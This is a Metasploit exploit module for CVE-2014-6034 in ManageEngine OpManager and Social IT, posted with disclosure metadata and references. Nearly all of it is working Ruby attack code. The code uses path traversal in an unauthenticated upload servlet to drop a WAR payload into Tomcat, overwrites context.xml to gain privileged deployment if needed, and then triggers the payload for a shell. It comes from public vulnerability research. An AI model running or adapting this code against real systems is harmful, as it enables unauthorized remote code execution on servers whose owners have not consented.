ManageEngine OpManager / Social IT Arbitrary File Upload

2014.10.01
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT. The vulnerability exists in the FileCollector servlet which accepts unauthenticated file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on version 11.0 of SocialIT for Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-6034' ], [ 'OSVDB', '112276' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ] ], 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 27 2014')) register_options( [ Opt::RPORT(80), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for WAR deployment', 15]), ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"), 'method' => 'GET' }) # A GET request on this servlet returns "405 Method not allowed" if res and res.code == 405 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def upload_war_and_exec(try_again, app_base) tomcat_path = '../../../tomcat/' servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector' if try_again # We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration # does not allow us to deploy WARs. Fix that by uploading a new context.xml file. # The file we are uploading has the same content apart from privileged="false" and lots of XML comments. # After replacing the context.xml file let's upload the WAR again. print_status("#{peer} - Replacing Tomcat context file") send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>}, 'ctype' => 'application/xml', 'vars_get' => { 'regionID' => tomcat_path + "conf", 'FILENAME' => "context.xml" } }) else # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directories") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), 'ctype' => 'application/xml', 'vars_get' => { 'regionID' => "", 'FILENAME' => bogus_file } }) register_files_for_cleanup("state/archivedata/zip/" + bogus_file) end war_payload = payload.encoded_war({ :app_name => app_base }).to_s print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => war_payload, 'ctype' => 'application/octet-stream', 'vars_get' => { 'regionID' => tomcat_path + "webapps", 'FILENAME' => app_base + ".war" } }) # The server either returns a 500 error or a 200 OK when the upload is successful. if res and (res.code == 500 or res.code == 200) print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + " seconds for deployment") sleep(datastore['SLEEP']) else fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") end print_status("#{peer} - Executing payload, wait for session...") send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) end def exploit app_base = rand_text_alphanumeric(4 + rand(32 - 4)) upload_war_and_exec(false, app_base) register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war") sleep_counter = 0 while not session_created? if sleep_counter == datastore['SLEEP'] print_error("#{peer} - Failed to get a shell, let's try one more time") upload_war_and_exec(true, app_base) return end sleep(1) sleep_counter += 1 end end end

References:

https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt


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